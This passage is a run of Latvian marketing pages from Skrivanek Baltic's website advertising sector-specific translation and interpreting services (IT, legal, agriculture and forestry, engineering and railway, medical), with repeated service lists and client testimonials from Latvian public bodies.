tulka pakalpojumi klātienē dažādās biznesa tikšanās, Skrivanek speciālisti ar prieku nodrošinās vēlamos risinājumus. Skrivanek valodu speciālisti veiks kvalitatīvus tulkojumus visiem jūsu materiāliem, tostarp dažādām rokasgrāmatām, tehniskajiem aprakstiem, korporatīvajiem izdevumiem, mārketinga materiāliem un citiem tekstiem. Mūsu tulkotāju zināšanas ļauj augstā līmenī realizēt programmu nodrošinājuma lokalizāciju, to skaitā datorspēļu tulkošanu. Mūsu speciālisti tulkošanas procesā izmanto arī dažādas automatizētas programmas, kuras palīdz pareizi lietot programmu kodus un komandas, kas ir īpaši būtiski IT nozarē. MŪSU SNIEGTIE PAKALPOJUMI IT NOZAREI PIEEJAMI VISĀS POPULĀRĀKAJĀS EIROPAS VALODU KOMBINĀCIJĀS, UN TIE IETVER: programmu lokalizāciju un datorspēļu tulkojumus; Google Ads un SEO tulkojumus; ekspluatācijas rokasgrāmatu tulkojumus; korporatīvo materiālu sagatavošanu; salīdzinošo apskatu, rakstu un preses relīžu tulkojumus; līgumu, noteikumu un licenču tulkojumus; sinhrono vai secīgo tulkošanu dažādos pasākumos, tostarp semināros, konferencēs un darījumu tikšanās laikā; specializētas valodu mācības; kā arī citus jums nepieciešamus valodu pakalpojumus. AR PRIEKU UZKLAUSĪSIM JŪSU VAJADZĪBAS, LAI SAGATAVOTU ĪPAŠI JUMS IZSTRĀDĀTU PIEDĀVĀJUMU Sazināties MŪSU SNIEGTIE PAKALPOJUMI IT NOZAREI PIEEJAMI VISĀS POPULĀRĀKAJĀS EIROPAS VALODU KOMBINĀCIJĀS, UN TIE IETVER: programmu lokalizāciju un datorspēļu tulkojumus; Google Ads un SEO tulkojumus; ekspluatācijas rokasgrāmatu tulkojumus; korporatīvo materiālu sagatavošanu; salīdzinošo apskatu, rakstu un preses relīžu tulkojumus; līgumu, noteikumu un licenču tulkojumus; sinhrono vai secīgo tulkošanu dažādos pasākumos, tostarp semināros, konferencēs un darījumu tikšanās laikā; specializētas valodu mācības; kā arī citus jums nepieciešamus valodu pakalpojumus. AR PRIEKU UZKLAUSĪSIM JŪSU VAJADZĪBAS, LAI SAGATAVOTU ĪPAŠI JUMS IZSTRĀDĀTU PIEDĀVĀJUMU Sazināties Apdrošināšana Būvniecība Cilvēkresursi (HR) Finanses un banku darbība IT un spēles Lauksaimniecība Jurisprudence Mežkopība Mašīnbūve un dzelzceļš Medicīna un klīniskie pētījumi Ražošana Reklāma un mārketings Tirdzniecība Tūrisms Valsts un pašvaldību iestādes KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Kvalitatīvi jurisprudences nozares specifikai atbilstoši tulkojumi: rakstiski, mutiski, notariāli. Lokalizācija un valodu kursi. Uzzini! - Published: 2017-10-02 - Modified: 2025-07-07 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-jurisprudences-nozarei/ - Translation Priorities: Optional KĀPĒC SADARBOTIES AR SKRIVANEK? Skrivanek Baltic ir vadošais valodu uzņēmums Latvijā, kas nodrošina augstu kvalitāti gan mācot svešvalodas, gan nodrošinot tulkošanas pakalpojumus. Mērķis ir ne tikai nodrošināt pakalpojumus kā vieglā valoda un vienkāršā valoda, bet arī lielisku pieredzi pakalpojumu sniegšanas gaitā. Mūsu klienti novērtē mūs tieši tāpēc. Lūk, ko varat sagaidīt, sadarbojoties ar mums: Pieredze un uzticamība – Skrivanek Baltic ir valodu pakalpojumu sniedzējs ar vairāk nekā 30 gadu pieredzi. Mēs nodrošinām profesionālus valodu pakalpojumus gan uzņēmumiem, gan individuāliem klientiem. Plaša formāta atbalsts – pdf, jpg, idml, json vai html – tam nav nozīmes. Ar mūsu DTP – tekstu grafiskās apstrādes speciālistu palīdzību, nodrošinām teksta apstrādi dažādu datņu paplašinājumos. Tādēļ jums nav jāuztraucas par dokumentu apstrādi. Plašs valodu klāsts – pieejamas vairāk nekā 110 valodas – visus tulkojumus nodrošina viens uzņēmums. Nav nepieciešams meklēt citu tulkošanas biroju, kas rūpēsies par jūsu projektu. Ātrs tiešsaistē sniegts cenu piedāvājums – vairs nav jāgaida vairākas stundas, lai saņemtu piedāvājumu. Varam sagatavot piedāvājumu 15 minūšu laikā. Jebkurā gadījumā varat pieteikties tiešsaistes konsultācijai. Tajā mēs sniegsim izvērstāku piedāvājumu un atbildēsim uz visiem iespējamajiem jautājumiem. Jūsu pārstāvētā jurisprudences nozare ietekmē neskaitāmas norises un procesus, tostarp pat cilvēku likteņus, tieši tāpēc jūs kā neviens cits apzināties, cik liela nozīme ir precīzai vārdu izvēlei un domas formulējumam. Skrivanek valodu speciālisti labi orientējas tiesību sistēmas īpatnībās, un mūsu veiktie tulkošanas pakalpojumi ļaus jums koncentrēties tiešajam darbam. Neatkarīgi no tā, vai jums nepieciešams tulkojums līgumiem, likumiem un normatīvajiem aktiem, tiesu nolēmumiem vai arī vajadzīgs tulks, kurš piedalās tiesvedībā, Skrivanek valodu speciālisti ar prieku sniegs nepieciešamo atbalstu. Vajadzības gadījumā varam nodrošināt arī sinhrono tulkošanu zīmju valodā. Mūsu komandā strādā speciālisti, kuri pārzina juridisko tekstu tulkošanas īpatnības un spēj iztulkot avota valodas tekstu tā, lai tulkojumā precīzi būtu izteikts oriģinālā dokumenta saturs un tam būtu tāda pati juridiskā nozīme svešvalodā. Te jāatzīmē, ka, tulkojot juridiskus tekstus un dokumentus, mēs kā obligātu pieņemam nosacījumu ievērot dokumentu izstrādes un noformēšanas prasības. Konfidencialitāte ir mūsu prioritāte, strādājot ar jebkuras nozares tekstiem un klientiem. Esam arī ISO 27001 un ISO 9001 sertificēts uzņēmums. Esam lepni un pateicīgi par aktīvu sadarbību ar dažādām valsts un pašvaldību institūcijām, ES aģentūrām un sabiedrībā zināmiem advokātu birojiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt MŪSU SNIEGTIE PAKALPOJUMI JURISPRUDENCES NOZAREI PIEEJAMI VISĀS POPULĀRĀKAJĀS EIROPAS VALODU KOMBINĀCIJĀS, UN TIE IETVER: likumu un citu normatīvo aktu un to projektu tulkojumus; līgumu un to projektu tulkojumus; tiesu nolēmumu, tiesu prakses un judikatūras tulkojumus; prasības pieteikumu, sūdzību un iesniegumu tulkojumus; pilnvaru tulkojumus; slēdzienu, ekspertu atzinumu tulkojumus; sinhrono vai secīgo tulkošanu dažādos pasākumos, arī ar tiesvedību saistītos procesos, tostarp sinhrono tulkošanu zīmju valodā; specializētās valodu mācības dažādiem zināšanu līmeņiem; asistenta pakalpojumus ārvalstu pārstāvjiem; kā arī citus jums nepieciešamus pakalpojumus. AR PRIEKU UZKLAUSĪSIM JŪSU VAJADZĪBAS, LAI SAGATAVOTU ĪPAŠI JUMS IZSTRĀDĀTU PIEDĀVĀJUMU Sazināties MŪSU SNIEGTIE PAKALPOJUMI JURISPRUDENCES NOZAREI PIEEJAMI VISĀS POPULĀRĀKAJĀS EIROPAS VALODU KOMBINĀCIJĀS, UN TIE IETVER: likumu un citu normatīvo aktu un to projektu tulkojumus; līgumu un to projektu tulkojumus; tiesu nolēmumu, tiesu prakses un judikatūras tulkojumus; prasības pieteikumu, sūdzību un iesniegumu tulkojumus; pilnvaru tulkojumus; slēdzienu, ekspertu atzinumu tulkojumus; sinhrono vai secīgo tulkošanu dažādos pasākumos, arī ar tiesvedību saistītos procesos, tostarp sinhrono tulkošanu zīmju valodā; specializētās valodu mācības dažādiem zināšanu līmeņiem; asistenta pakalpojumus ārvalstu pārstāvjiem; kā arī citus jums nepieciešamus pakalpojumus. AR PRIEKU UZKLAUSĪSIM JŪSU VAJADZĪBAS, LAI SAGATAVOTU ĪPAŠI JUMS IZSTRĀDĀTU PIEDĀVĀJUMU Sazināties Apdrošināšana Būvniecība Cilvēkresursi (HR) Finanses un banku darbība IT un spēles Lauksaimniecība Jurisprudence Mežkopība Mašīnbūve un dzelzceļš Medicīna un klīniskie pētījumi Ražošana Reklāma un mārketings Tirdzniecība Tūrisms Valsts un pašvaldību iestādes KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Kvalitatīvi lauksaimniecības un mežkopības nozares specifikai atbilstoši tulkojumi: rakstiski un mutiski. Lokalizācija un valodu kursi. Uzziniet vairāk! - Published: 2017-10-02 - Modified: 2024-01-23 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-lauksaimniecibas-un-mezkopibas-nozarei/ - Translation Priorities: Optional Lauksaimniecības un mežkopības nozares ir būtiskas Latvijas tautsaimniecībā, un to attīstība nav iedomājama bez sadarbības ar partneriem citās valstīs. Sazināšanās bez valodas barjerām ir viens no priekšnoteikumiem sekmīgai biznesa attīstībai. Skrivanek valodu speciālisti palīdzēs jums saziņā gan ar klientiem un partneriem, gan ar Eiropas Savienības institūcijām, lai jūs varētu veltīt visus spēkus saviem tiešajiem uzdevumiem. Mūsu tulkiem un tulkotājiem ir plaša pieredze, gan nodrošinot rakstiskos tulkojumus, tostarp visdažādāko dokumentāciju, gan arī mutisko tulkošanu lielu starptautisku projektu realizācijas gaitā. Turklāt mūsu speciālistiem ir zināšanas lauksaimniecībā, tāpēc mēs varam nodrošināt precīzu tulkojumu ar atbilstošu terminoloģiju, tulkojot gan dažādas lauksaimniecības vai mežistrādes tehnikas lietošanas rokasgrāmatas, gan norādījumus kultūraugu pareizai audzēšanai mūsu reģiona apstākļos. Skrivanek valodu speciālistu komanda ir pietiekami plaša, lai izvēlētos pašu piemērotāko tulkotāju jūsu vajadzībām. Zemkopība, lopkopība, putnkopība, cūkkopība, aitkopība, augkopība, selekcija, mežistrāde, meža zinātne, lauksaimniecības meliorācija – mūsu valodu speciālistiem ir minētās specializācijas, un tādēļ par sadarbības partneriem mūs bieži izvēlas valsts un pašvaldību iestādes, kā arī uzņēmumi, kas darbojas šajās jomās. MŪSU SNIEGTIE PAKALPOJUMI LAUKSAIMNIECĪBAS UN MEŽKOPĪBAS NOZAREI PIEEJAMI VISĀS POPULĀRĀKAJĀS EIROPAS VALODU KOMBINĀCIJĀS, UN TIE IETVER: tehnisko normatīvu un tehnoloģiskās dokumentācijas tulkojumus; produkcijas un nozares tehnoloģiju aprakstu tulkojumus; zinātnisko rakstu un pētījumu tulkojumus; tehnikas apkopes un ekspluatācijas dokumentu tulkojumus; dažāda veida licenču, atļauju un cita veida dokumentu tulkojumus; ES direktīvu skaidrojumus un precizējumus; sinhrono vai secīgo tulkošanu dažādos pasākumos, tostarp konferencēs, semināros, pieredzes apmaiņas braucienos, kā arī darījumu tikšanās; specializētās valodu mācības; kā arī citus jums nepieciešamus pakalpojumus. AR PRIEKU UZKLAUSĪSIM JŪSU VAJADZĪBAS, LAI SAGATAVOTU ĪPAŠI JUMS IZSTRĀDĀTU PIEDĀVĀJUMU Sazināties MŪSU SNIEGTIE PAKALPOJUMI LAUKSAIMNIECĪBAS UN MEŽKOPĪBAS NOZAREI PIEEJAMI VISĀS POPULĀRĀKAJĀS EIROPAS VALODU KOMBINĀCIJĀS, UN TIE IETVER: tehnisko normatīvu un tehnoloģiskās dokumentācijas tulkojumus; produkcijas un nozares tehnoloģiju aprakstu tulkojumus; zinātnisko rakstu un pētījumu tulkojumus; tehnikas apkopes un ekspluatācijas dokumentu tulkojumus; dažāda veida licenču, atļauju un cita veida dokumentu tulkojumus; ES direktīvu skaidrojumus un precizējumus; sinhrono vai secīgo tulkošanu dažādos pasākumos, tostarp konferencēs, semināros, pieredzes apmaiņas braucienos, kā arī darījumu tikšanās; specializētās valodu mācības; kā arī citus jums nepieciešamus pakalpojumus. AR PRIEKU UZKLAUSĪSIM JŪSU VAJADZĪBAS, LAI SAGATAVOTU ĪPAŠI JUMS IZSTRĀDĀTU PIEDĀVĀJUMU Sazināties Apdrošināšana Būvniecība Cilvēkresursi (HR) Finanses un banku darbība IT un spēles Lauksaimniecība Jurisprudence Mežkopība Mašīnbūve un dzelzceļš Medicīna un klīniskie pētījumi Ražošana Reklāma un mārketings Tirdzniecība Tūrisms Valsts un pašvaldību iestādes KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Kvalitatīvi mašīnbūves un dzelzceļa nozares specifikai atbilstoši tulkojumi: rakstiski un mutiski. Lokalizācija un valodu kursi. Uzziniet vairāk! - Published: 2017-10-02 - Modified: 2024-01-22 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-masinbuves-un-dzelzcela-nozarei/ - Translation Priorities: Optional Mašīnbūves un dzelzceļa nozarēs precizitāte un punktualitāte ir vienas no svarīgākajām īpašībām. Jūs zināt, ka nav pieļaujamas nekādas atkāpes, un jums ir nepieciešams partneris, kas ar atbildību uztver sev uzticētos uzdevumus. Turklāt, ņemot vērā nozares globālo nozīmi, tās daudzveidīgumu un augsto pievienoto vērtību, arī sadarbības partneriem ir nepieciešamas plašas zināšanas un pieredze. Mēs diendienā izmantojam mūsdienu tehnoloģiskos sasniegumus kvalitātes un produktivitātes veicināšanai, tādējādi varam ietaupīt arī jūsu līdzekļus. Skrivanek valodu speciālisti divdesmit gadu laikā ir veikuši neskaitāmus tulkojumus mašīnbūves un dzelzceļa nozarēm, arī šobrīd esam aktīvi iesaistījušies Baltijas nozīmes dzelzceļa infrastruktūras attīstības projekta ieviešanā. Ar pilnu atbildību varam apgalvot, ka mums ir plaša pieredze un nepieciešamās tehniskās zināšanas šajā jomā un ka mēs precīzi ievērojam noteiktos izpildes termiņus. Neatkarīgi no tā, vai jums nepieciešams tulkojums rakstītam tekstam vai arī vajadzīgi tulka pakalpojumi klātienē dažādās biznesa tikšanās, Skrivanek tulki un tulkotāji nodrošinās jums vēlamo rezultātu. Skrivanek valodu speciālisti veiks augstvērtīgu tulkojumu visiem mums uzticētajiem materiāliem, tostarp korporatīvajiem izdevumiem, līgumiem, konkursu nolikumiem un tehniskajām specifikācijām, dažādiem mārketinga materiāliem un citiem tekstiem, pēc kuriem jums radusies nepieciešamība. Mūsu valodas speciālistu komandu veido ne tikai cilvēki ar filoloģisko izglītību, bet arī speciālisti ar izglītību un pieredzi inženiertehniskajās zinātnēs, kas ir būtiski specifiskas terminoloģijas pareizā izmantošanā. Metālu ražošana un apstrāde, mehānismu un darba mašīnu ražošana, transportlīdzekļu, tostarp automobiļu un piekabju ražošana, sistēmu paziņojumi, iekārtu remonts, elektronisko un optisko iekārtu ražošana, kā arī viss dzelzceļa nozarei nepieciešamais, kas cieši saistīts ar mašīnbūvi un metālapstrādi – mūsu speciālistiem ir labas zināšanas, lai nodrošinātu tulkojumu atbilstošā kvalitātē. MŪSU SNIEGTIE PAKALPOJUMI MAŠĪNBŪVES UN DZELZCEĻA NOZAREI PIEEJAMI VISĀS POPULĀRĀKAJĀS EIROPAS VALODU KOMBINĀCIJĀS, UN TIE IETVER: tulkojumus ražotās produkcijas aprakstiem; iekārtu uzstādīšanas instrukciju un ekspluatācijas rokasgrāmatu tulkojumus, sistēmu paziņojumus; terminoloģijai atbilstošus lietišķās sarakstes tulkojumus; reklāmas tekstu, mārketinga materiālu, gada pārskatu tulkojumus; sinhronās vai secīgās tulkošanas pakalpojumu nodrošināšanu dažādos semināros, konferencēs un biznesa tikšanās laikā; dažādas intensitātes valodu kursus atšķirīgiem zināšanu līmeņiem; DTP – grafiskā dizaina pakalpojumus materiālu atbilstīgai noformēšanai; kā arī citus, jūsu vajadzībām atbilstošus pakalpojumus. AR PRIEKU UZKLAUSĪSIM JŪSU VAJADZĪBAS, LAI SAGATAVOTU ĪPAŠI JUMS IZSTRĀDĀTU PIEDĀVĀJUMU Sazināties MŪSU SNIEGTIE PAKALPOJUMI MAŠĪNBŪVES UN DZELZCEĻA NOZAREI PIEEJAMI VISĀS POPULĀRĀKAJĀS EIROPAS VALODU KOMBINĀCIJĀS, UN TIE IETVER: tulkojumus ražotās produkcijas aprakstiem; iekārtu uzstādīšanas instrukciju un ekspluatācijas rokasgrāmatu tulkojumus, sistēmu paziņojumus; terminoloģijai atbilstošus lietišķās sarakstes tulkojumus; reklāmas tekstu, mārketinga materiālu, gada pārskatu tulkojumus; sinhronās vai secīgās tulkošanas pakalpojumu nodrošināšanu dažādos semināros, konferencēs un biznesa tikšanās laikā; dažādas intensitātes valodu kursus atšķirīgiem zināšanu līmeņiem; DTP – grafiskā dizaina pakalpojumus materiālu atbilstīgai noformēšanai; kā arī citus, jūsu vajadzībām atbilstošus pakalpojumus. AR PRIEKU UZKLAUSĪSIM JŪSU VAJADZĪBAS, LAI SAGATAVOTU ĪPAŠI JUMS IZSTRĀDĀTU PIEDĀVĀJUMU Sazināties Apdrošināšana Būvniecība Cilvēkresursi (HR) Finanses un banku darbība IT un spēles Lauksaimniecība Jurisprudence Mežkopība Mašīnbūve un dzelzceļš Medicīna un klīniskie pētījumi Ražošana Reklāma un mārketings Tirdzniecība Tūrisms Valsts un pašvaldību iestādes KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Nodrošinām kvalitatīvus nozares specifikai atbilstošus tulkojumus: rakstiski, mutiski, notariāli. Lokalizācija un valodu kursi. Sazinieties! - Published: 2017-10-02 - Modified: 2025-06-17 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-medicinas-un-klinisko-petijumu-nozarei/ - Translation Priorities: Optional MŪSU SNIEGTIE PAKALPOJUMI MEDICĪNAS UN KLĪNISKO PĒTĪJUMU NOZAREI PIEEJAMI VISĀS POPULĀRĀKAJĀS EIROPAS VALODU KOMBINĀCIJĀS, UN TIE IETVER: medicīnisko dokumentu (epikrīzes, izraksti, slimības vēstures, analīžu tulkojumi, ārstu slēdzieni, COVID-19 analīžu tulkojumi, SARS-CoV-2 (COVID-19) diagnostikas materiālu tulkojumi u. c. ) un klīnisko pētījumu tulkojumus; farmaceitiskās dokumentācijas (zāļu apraksti, dažāda informācija ārstiem un pacientiem, kvalitātes kontroles dokumentācija u. c. ) tulkojumus, atbilstoši Eiropas Zāļu aģentūras (EMA) un vietējo normatīvo aktu prasībām; esošo tulkojumu pārskatīšanu un Zāļu 